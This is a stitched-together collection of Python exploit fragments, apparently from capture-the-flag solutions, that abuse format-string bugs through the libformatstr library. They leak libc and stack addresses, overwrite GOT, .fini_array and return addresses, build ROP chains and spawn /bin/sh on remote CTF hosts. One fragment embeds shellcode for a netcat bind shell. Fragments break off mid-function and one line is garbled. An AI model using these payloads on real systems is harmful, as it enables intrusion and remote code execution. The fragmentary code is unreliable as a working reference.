def send_fmt(addr, val): # Send first 4 bytes formatter = FormatStr(isx64=1) formatter[addr] = val & 0xffffffff buf = formatter.payload(6) p.sendline(buf) # Send second 4 bytes formatter = FormatStr(isx64=1) formatter[addr + 4] = val >> 32 buf = formatter.payload(6) p.sendline(buf)
def performTest(name, test): #{{{ """ Given a series of writes in `test', generate a format string and pass it to the vulnerable program. If the writes were successful without destroying any other memory locations, return True. Terminates after 2 seconds to handle infinite loops in libformatstr. """ f = FormatStr(maxbuf) for (k, v) in test.items(): f[k] = v (out, err, fill) = (None, None, None) def sighandler(signum, frame): raise Exception("Command timed out") signal.signal(signal.SIGALRM, sighandler) signal.alarm(2) try: payload = f.payload(offset, padding=shift) if len(payload) > maxbuf: print "[-] payload is longer than allowed (%d vs %s)" % ( len(payload), maxbuf) (out, err, fill) = checkOutput(payload) except Exception, e: print "[-] Exception occurred: %s" % e
def main(): log.info("Leaking libc base") libc.address = get_libc_base() log.info("libc base : 0x{:x}".format(libc.address)) log.info("libc system: 0x{:x}".format(libc.symbols["system"])) log.info("main : 0x{:x}".format(elf.symbols["main"])) log.info("gets.got : 0x{:x}".format(elf.got["gets"])) log.info("__stack_chk_fail.got: 0x{:x}".format( elf.got["__stack_chk_fail"])) conn = connect() # stage 1 - allow the loader to resolve gets() # Overwrite __stack_chk_fail with main to restart the program log.info("Overwriting __stack_chk_fail with main") p = FormatStr(isx64=1) p[elf.got["__stack_chk_fail"]] = elf.symbols["main"] payload = p.payload(10) log.info(hexdump(payload)) conn.recvuntil("code name:\n") conn.send(payload) conn.recvuntil("password for code name: ") conn.sendline("a" * 200) # Restart the program # stage 2 - partial overwrite of printf() to turn it into system() log.info("Overwriting printf with system") p = FormatStr(isx64=1) p[elf.got["printf"]] = libc.symbols["system"] payload = p.payload(10) log.info(hexdump(payload)) conn.recvuntil("code name:\n") conn.send(payload) conn.recvuntil("password for code name: ") conn.sendline("a" * 200) # Restart the program # stage 3 - send /bin/sh now that printf() is system() log.info("Sending /bin/sh") conn.recvuntil("code name:\n") conn.sendline("/bin/sh") conn.recvuntil("code name: \n") conn.interactive()
def main(): #p = process("./quietmoon") p = remote("localhost", 2901) p.recvuntil("/thecoven/flag?") f = FormatStr(isx64=1) f[moon_addr] = "../../thecoven/flag" p.sendline(f.payload(6, 0, 0)) print p.clean()
x = leak_stack() time.sleep(0.3) # Overwrite n with 255 r.sendline(p(x + n_offset) + '%251c%6$n') time.sleep(0.3) # Write 0x4 to var_224 to proceed r.sendline(p(x + var_224) + '%6$n') time.sleep(0.3) # Write 0x79c to var_14 r.sendline(p(x + var_14) + '%1944c%6$n') time.sleep(0.3) # Next fgets reads 255 bytes # NOTE: This will give an error 60% of the time due to some weird bug in libformatstr. Just keep running the script. f = FormatStr() f[0x0804a02c] = 0x0804a024 f[0x0804a024] = "/bin/sh\0" f[x + ret_offset] = 0x08048506 # Write "/bin/sh" into .data, overwrite string pointer, overwrite return address of main with address of __libc_win_more payload = f.payload(6) r.sendline(payload) time.sleep(0.3) r.clean() r.interactive()
from pwnlib import * import libformatstr from libformatstr import FormatStr if args.args['REMOTE']: p = connect('csie.ctf.tw', 10134) else: p = process('./craxme-2da5957de53a93b4bc9ffb4e46c8bf287df0376c') magic_address = 0x60106c ''' 0c 12 b0 176 164 ce 206 30 fa 250 44 ''' # payload = '%218c%8$n0000000' + p64(magic_address) # payload = '%12c%12$hhn%164c%13$hhn%30c%14$hhn%44c%15$hhn000' + p64(magic_address) + p64(magic_address+1) + p64(magic_address+2) + p64(magic_address+3) # gdb.attach(p, gdbscript='b *0x40079d') # raw_input() context.arch = 'amd64' f = FormatStr(isx64=True) # f[magic_address] = 0xda f[magic_address] = 0xfaceb00c payload = f.payload(6) print payload p.send(payload) print p.recvall()
binsh = pointers[6] system = pointers[7] print "binsh is",binsh print "system is",system #convert strings to hex ints system = int(system, 16) binsh = int(binsh, 16) system = struct.pack("<I",system) # first argument is read by fgets(), but contains a format string vulnerability # Try to write "/bin/sh" to the binsh address provided # use libformatstr library to simplify exploitation fmt = FormatStr() # write the string "/bin/sh" fmt[binsh] = "/bin/sh" # the buffer is the first argument and requires 0 bytes of padding print "The payload will be " + fmt.payload(1,0) p.sendline(fmt.payload(1,0)) # second arg is read by gets() and vulnerable to an overflow # 136-byte offset + eip overwrite with system() + fake frame pointer + binsh exploit = "A" * 136 + system + "B" * 4 + struct.pack("<I",binsh) p.sendline(exploit) p.interactive() p.close()
if args.LOCAL: io = gdb.debug(['./naughty'], gdbscript=''' # main entry point # b *0x8048536 # printf call site # b *0x804862f # ret from main b *0x8048656 c ''') else: io = remote('p1.tjctf.org', 8004) io.recvuntil('What is your name?\n') # 08049bac <.fini_array>: 0x08048500 <__do_global_dtors_aux> -> 08048536 <main> fmt1 = FormatStr() fmt1[0x08049bac] = struct.pack('<H', 0x8536) fmt_leak = b'%19$08x%79$08x ' assert len(fmt_leak) % 4 == 0 arg_index = 7 + len(fmt_leak) // 4 start_len = 8 * 2 + 2 io.sendline(fmt_leak + fmt1.payload(arg_index=arg_index, start_len=start_len)) io.recvuntil('You are on the NAUGHTY LIST ') stack = int(io.recv(8), 16) print(f'stack: 0x{stack:016x}') libc = int(io.recv(8), 16) - 0x18e81 print(f'libc: 0x{libc:016x}') assert libc & 0xfff == 0 io.recvuntil('What is your name?\n') # printf@got = system
syscall = 0x00000000000d2975 p.recvuntil('?') p.sendline('lol') p.recvuntil('Santa') p.sendline('%41$p') p.recvuntil(': ') libc_start_main = int(p.recvuntil('\n')[:-1], 16) libc_base = libc_start_main - (libc.symbols['__libc_start_main'] + 231) p.sendline('%38$p') p.recvuntil(': ') stack_leak = int(p.recvuntil('\n')[:-1], 16) jump = hex(libc_base + pop_rdi)[2:] f = FormatStr(isx64=1) f[stack_leak - 0xd8] = int('0x' + jump[-4:], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') f = FormatStr(isx64=1) f[stack_leak - 0xd8 + 2] = int('0x' + jump[-8:-4], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') f[stack_leak - 0xd8 + 4] = int('0x' + jump[:4], 16) p.sendline(f.payload(6, start_len=0)) p.recvuntil('\x7f') p.sendline('%41$p') p.recvuntil(': ') if libc_base + pop_rdi == int(p.recvuntil('\n')[:-1], 16): print 'Done 1'
if len(argv) >= 2 and argv[1] == "r": p = remote("localhost", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main c """ p = gdb.debug(chall, cmd) else: p = process(chall) printf_got = elf.got['printf'] system_plt = elf.plt['system'] log.info("printf@got = 0x{:08x}".format(printf_got)) log.info("system@plt = 0x{:08x}".format(system_plt)) # cache system@libc to got p.recvuntil("$ ") p.sendline("ls") # got overwrite f = FormatStr(isx64=1) # for x86_64 f[printf_got] = system_plt f[printf_got + 4] = 0 p.recvuntil("$ ") p.sendline(f.payload(12)) p.recvuntil("$ ") p.sendline("/bin/sh") p.interactive()
s, f = sock(HOST, PORT) # 1st main index = 7 fini_array = 0x80496dc main = 0x804849b offset_got_start = 0x80497ec offset_retaddr_from_buf = (0x5d0 - 0x1b0) / 4 buf = p32(offset_got_start) buf += "%7$s" buf += "%" + str(offset_retaddr_from_buf) + "$08x" p = FormatStr() p[fini_array] = main s.send(buf + p.payload(index + len(buf) / 4, start_len=len(buf)) + "\n") read_until(f, "RESPONSE :") ret_addr = s.recv(16) libc_start_addr = u32(ret_addr[4:8]) offset_libc_start_main = 0x19990 base_libc = libc_start_addr - offset_libc_start_main buf_addr = int(ret_addr[8:], 16) - (0x5f0 - 0x1b0) print "[+] libc base addr %08x" % base_libc print "[+] buf addr %08x" % buf_addr # 2nd main system_addr = base_libc + 0x3e800
import sys from libformatstr import FormatStr from pwn import * pr = 0x8049934 nao = 0x8048742 main = 0x80485ed strlen = 0x8049a54 local = len(sys.argv) == 1 if not local: s = remote('pwn2.chal.ctf.westerns.tokyo', 16317) else: s = remote('127.0.0.1', 5000) print s.recvline() print s.recv(30) p1 = FormatStr() p1[pr] = main system = 0x08048496 p1[strlen] = system offset = 12 padding = 2 round1 = p1.payload(offset, padding, 18) print round1 s.sendline(round1) log.info("round1 sent!") s.recvline(timeout=10) s.sendline("/bin/sh") s.interactive() s.close()
from libformatstr import FormatStr format_str = FormatStr(50) format_str[0x080496f8] = 0xbffff400 format_exploit = format_str.payload(4) filler += "\x90" * 500 shellcode += "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e" shellcode += "\x1e\x8d\x5e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\x4e\x1a\x8d\x56\x26\xcd\x80" shellcode += "\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\x38\x30\x23\x2d" shellcode += "\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23" print format_exploit + filler + shellcode
#!/usr/bin/env python2.7 # coding: UTF-8 from libformatstr import FormatStr from pwn import * context.log_level = 'debug' s = remote('pwn2.chal.ctf.westerns.tokyo', 16317) # objdump -t greeting fini_array_addr = 0x8049934 # call when program exit main_addr = 0x80485ed strlen_addr = 0x8049a54 system_addr = 0x08048496 print s.recvline() fsb = FormatStr() # got overwrite fsb[fini_array_addr] = main_addr fsb[strlen_addr] = system_addr offset = 12 padding = 2 # %2034c%22$hn%23$hn%31890c%24$hn%343c%25$hn6\x99\x0V\x9a\x0T\x9a\x04\x99\x0/bin/sh payload = fsb.payload(offset, padding, 18) + '/bin/sh' s.sendline(payload) s.interactive() s.close()
shellcode = exe_base + shellcode_off default_fn = exe_base + default_fn_off log.info('exe_base = 0x%x', exe_base) log.info('fn = 0x%x', fn) log.info('seed = 0x%x', seed) log.info('shellcode = 0x%x', shellcode) log.info('default_fn = 0x%x', default_fn) shellcode = struct.pack('<Q', shellcode) default_fn = struct.pack('<Q', default_fn) for i in reversed(range(7)): if shellcode[i] != default_fn[i]: break i += 1 log.info('i = %d', i) io.recvuntil('4. Quit') io.sendline('1') io.recvuntil('Username:'******'<I', seed_val) payload = fmt.payload(24) log.info('payload = %s', payload) assert len(payload) < 80 io.sendline(payload) io.recvuntil('4. Quit') io.sendline('2') for i in range(7): io.recvuntil(f'Secret #{i + 1}:') io.sendline(str(secrets[i])) io.interactive()
binsh = system + 0x161133 print "system: ", hex(system) print "binsh: ", hex(binsh) bin_base = pop_rdi - 0x0000000000000c63 print "bin_base: ", hex(bin_base) datasec = bin_base + 0x0000000000202000 + 1 print "data section: ", hex(datasec) print "read: ", hex(read) ##### buiding ROP chain ####Stage 1########### #building a read(0,data_section,0x7f) ROP chain to write "/flag.txt" in the data section in order to use it in open call ###### writing "pop rdi; ret" gadget in the ret ptr of main function f = FormatStr(isx64=1, autosort=False) f[ret_ptr] = (pop_rdi & 0xff) payload = f.payload(6) p.sendline(payload) f = FormatStr(isx64=1, autosort=False) f[ret_ptr + 1] = ((pop_rdi >> 8) & 0xff) payload = f.payload(6) #print payload p.sendline(payload) f = FormatStr(isx64=1, autosort=False) f[ret_ptr + 2] = ((pop_rdi >> 16) & 0xff) payload = f.payload(6) p.sendline(payload) f = FormatStr(isx64=1, autosort=False) f[ret_ptr + 3] = ((pop_rdi >> 24) & 0xff) payload = f.payload(6)